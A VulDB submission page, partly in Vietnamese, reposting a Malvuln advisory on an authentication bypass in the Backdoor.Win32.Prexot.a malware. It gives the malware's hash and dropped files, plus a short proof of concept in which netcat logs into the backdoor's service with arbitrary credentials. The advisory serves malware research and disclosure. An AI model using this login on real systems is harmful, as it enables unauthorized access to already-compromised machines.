Gửi #30156: Backdoor.Win32.Prexot.a / Authentication Bypass

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/29bc048d58ab8038c7001ef0d5e69c9b.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Prexot.a
Vulnerability: Authentication Bypass
Description: The malware listens on random high TCP ports e.g 11404, 19545, 17001, 10110. Third-party attackers who can reach an infected system can logon using any username/password combination.
Type: PE32
MD5: 29bc048d58ab8038c7001ef0d5e69c9b
Vuln ID: MVID-2022-0484
Dropped files: services.exe, mstempf.exe
Disclosure: 02/08/2022

Exploit/PoC:
nc64.exe x.x.x.x 10110
220 Bot Server (Win32)
USER malvuln
331 Password required.
PASS hate
230 Login successful. Have fun.
SYST
215 UNIX Type: L8
1PASV
227 Entering Passive Mode

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• Nguồn: ⚠️ https://malvuln.com/advisory/29bc048d58ab8038c7001ef0d5e69c9b.txt
• Người dùng: malvuln (UID 14984)
• Đệ trình: 09/02/2022 04:39 (cách đây 4 những năm)
• Kiểm duyệt: 09/02/2022 10:28 (6 hours later)
• Trạng thái: được chấp nhận
• Mục VulDB: 192608 [Backdoor.Win32.Prexot.a TCP Service xác thực yếu]
• điểm: 20